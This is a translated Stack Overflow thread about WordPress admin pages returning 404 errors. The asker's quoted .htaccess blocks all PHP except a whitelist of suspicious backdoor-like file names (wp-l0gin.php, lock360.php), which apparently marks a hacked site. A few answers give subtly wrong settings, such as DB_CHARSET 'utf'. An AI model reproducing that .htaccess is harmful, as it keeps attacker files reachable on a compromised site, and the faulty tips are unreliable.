管理员链接显示404 WordPress。

7

成功登录后,我无法访问管理面板中的任何页面(无法创建新帖子,无法编辑帖子,无法创建页面,无法访问左侧边栏上的任何页面),它们都显示404错误。我已经检查了.htaccess,但看起来一切正常。我无法访问永久链接页面,因为它也会显示404错误。

这些都是到昨天我试图访问时还可以正常工作的。

.htaccess文件

<FilesMatch ".(py|exe|php)$">
  Order allow,deny
  Deny from all
 </FilesMatch>
<FilesMatch 
"^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php|wp-l0gin.php|wp-theme.php|wp-scripts.php|wp-editor.php)$">
Order allow,deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

1
启用调试并查看导致问题的原因。 - mk23
请看这里:https://wordpress.org/support/article/debugging-in-wordpress/ - mk23
3
你在哪里看到 404 错误?是在你的浏览器控制台中吗?能否在你的问题中包含完整的错误信息? - Ruvee
我正在使用版本5.8。在浏览器控制台上,我看到HTTP错误403。 - BlackPearl
你说:“我无法创建新的帖子”。你能否在尝试创建帖子时截取页面截图,以便我们查明问题所在? - Ruvee
显示剩余11条评论
10个回答

5

@BlackPearl 我曾多次联系并试图帮助你调试网站,但你没有回应。我想帮你避免采用"散弹枪式尝试"的方式去尝试各种可能的组合,包括那些你在网上找到或别人给你提供的方法。

无论如何,从经验来看,这通常是由于一个主要原因导致的,即过时的主题和/或过时的插件。随着时间的推移,过时的主题和插件会失去与新版本的WordPress的兼容性,并引起各种难以处理的错误。有时这是因为服务器和主机公司迁移到不支持那些过时主题和插件功能的更高版本的PHP。

说了这么多,我会尝试完成以下步骤进行调试:

  • 首先我会尝试更换主题。将当前主题更换为WordPress默认主题之一。
  • 在你的wp-config.php中尝试将"DB_CHARSET"更改为仅为"utf"。
  • 有时某些文件因某些原因而损坏,所以请检查位于WordPress核心根目录下的index.php文件是否具有正确的内容。不是位于您主题根目录下的那个,而是位于wp-admin文件夹所在目录下的那个。
  • 尝试清除您的WordPress缓存。如果您的站点使用了其中一个缓存插件,则请清除插件缓存。
  • 查看您的functions.php文件的顶部和/或底部是否有额外的空格。如果有,请将这些额外的空格删除。
  • 尝试增加您的内存限制,特别是如果您的WordPress网站使用了图形/图片相关插件。
    • 在您的wp-config.php文件中定义('WP_MEMORY_LIMIT','256 M');

我建议您尝试禁用所有插件(并切换主题)。如果可以正常工作,再逐个激活插件并激活您的主题。也许您能找到这个问题是由插件还是主题引起的。 - Pof

4

确保您的/wp-admin/文件夹中不包含任何.htaccess文件 如果有,请删除。

如果问题仍然存在...

确保启用了mod_rewrite

如何检查服务器上是否启用了mod_rewrite?

启用该模块,重新启动Apache。

如果问题仍然存在...

检查是否在Apache配置中允许.htaccess

找到您的Apache配置文件

确保AllowOverride指令设置为All且在<Directory /var/www/your/dir/where/wp/is>内:

记得重新启动Apache。

如果问题仍然存在...

删除 .htaccess 重置永久链接

进入 /wp-login.php 并登录。

设置 -> 永久链接 -> 保存。(WP将自动重新创建您的.htaccess)。

如果您无法进入永久链接页面,请通过编程方式添加片段到functions.php中:

add_action( 'init', function () {
    flush_rewrite_rules( true );
}, 99 );

刷新页面...现在你的 .htaccess 文件已经重新生成。从 functions.php 文件中删除代码。

如果问题仍然存在...

尝试禁用插件。 例如,将文件夹 wp-content/plugins 重命名为 _plugins

刷新页面。现在你的插件已被禁用。

如果问题消失了,请逐个启用插件直到问题再次发生。这就是你找出有问题的插件的方法。


谢谢您。确保您的/wp-admin/文件夹中不包含任何.htaccess文件,如果有,请删除。我必须删除.htaccess文件才能使其正常工作。 - Obot Ernest
删除 /wp-admin 文件夹中的 .htaccess 解决了我的问题。谢谢! - Abaij

1
我看到你正在拒绝php文件。如果你安装了覆盖htaccess文件的插件,请将其禁用。或者编辑当前的htaccess文件并更改。
<FilesMatch ".(py|exe|php)$">
  Order allow,deny
  Deny from all
</FilesMatch>

<FilesMatch ".(py|exe)$">
  Order allow,deny
  Deny from all
</FilesMatch>

如果您仍无法访问您的网站,请将当前的htaccess替换为默认文件进行测试。
# BEGIN WordPress

RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]

# END WordPress

2
谢谢你的回答。我尝试了,但仍然出现错误。 - BlackPearl
1
当您打开htaccess文件时,它是否被覆盖了?如果是的话,很可能是某个插件导致的,您可能需要禁用它。禁用插件的最简单方法是将插件文件夹重命名,重新加载您的网站,然后再将其改回相同的名称。或者将插件文件夹重命名以禁用所有插件,重新加载您的网站,然后将文件夹重命名为plugins。您可能希望激活调试 - https://wordpress.org/support/article/debugging-in-wordpress/。请分享您的日志。 - Martin Mirchev

0
在我的情况下,只有 WordPress 插件页面显示了 404 错误,而我尝试的其他页面都正常工作。原来文件 wp-admin/plugins.php 的权限设置为 666,而几乎所有其他文件都具有 644 权限。将权限更改为 644 可以解决此问题。我使用 cPanel 文件管理器进行了更改。

0

将您的PHP版本升级到最新版本,它就会恢复正常。当您使用不支持的PHP版本时,WordPress可能会出现故障。

WordPress的PHP要求


0

在您的管理控制面板中,转到工具->网站健康。查找可能指示问题所在的问题。

例如,有时您会看到REST API出现错误。当插件或主题具有不正确的代码时,会发生这种情况,这会破坏API调用的正确响应。这会破坏编辑页面/帖子/其他自定义帖子类型等内容。

要解决此问题,请尝试禁用所有主题。一种快速方法是通过SFTP登录到您的服务器并将wp-content/plugins目录重命名为plugins-renamed之类的名称。然后重新加载任何管理页面。然后将其重命名回来。所有插件都将被禁用,您可以逐个重新启用它们,同时检查网站健康页面以查看问题是否返回。

还可以尝试激活不同的主题以查看是否可以解决问题。


0

我认为,你的网站已经被黑客攻击了。 检查配置文件,它可能包含一些乱码代码,导致 PHP 执行出错。 恢复你的数据库或者至少进行检查。 检查你有多少个用户。是否有一个管理员用户?尝试使用该用户登录。 检查你的文件。尝试从备份中恢复。 检查你的 Unix 文件设置,可能某些文件需要执行权限。

https://www.malcare.com/blog/wordpress-file-permissions/


0

我会通过FTP(或SSH)重命名插件文件夹来禁用所有插件。这样你就可以排除插件引起的问题。如果这解决了问题,逐个重新启用插件,直到出现问题。然后,如果你发布该插件的名称,我们可以查看其代码并找出问题所在。


0
我在https://virtualsigma.com/担任开发人员,我们的一个客户网站也遇到了同样的问题。突然间,他们在托管在Cpanel上的WordPress实例中报告说他们无法从管理仪表板进入其他页面。所以,以下是我们的解决方法:
请确保您的.htaccess文件包含基本的WordPress重写规则,例如:
# BEGIN WordPress
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
# END WordPress

此外,文件夹应具有0755权限,文档必须具有0644权限代码,除了wp-config.php文件应该是0640,您可以在文件管理器目录中查看。

-2

404错误表示您的浏览器无法找到您要访问的页面。具体消息可能因您使用的浏览器而略有不同。尝试的第一步是重置您的永久链接。前往您的WordPress仪表板,导航到“设置”>“永久链接”。从这里,只需单击“保存更改”即可。没错 - 您实际上不需要编辑任何内容。 即使您没有进行任何更改,单击该按钮也会更新永久链接设置。


如果所有管理员链接都无法使用,用户如何访问永久链接? - wickywills

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接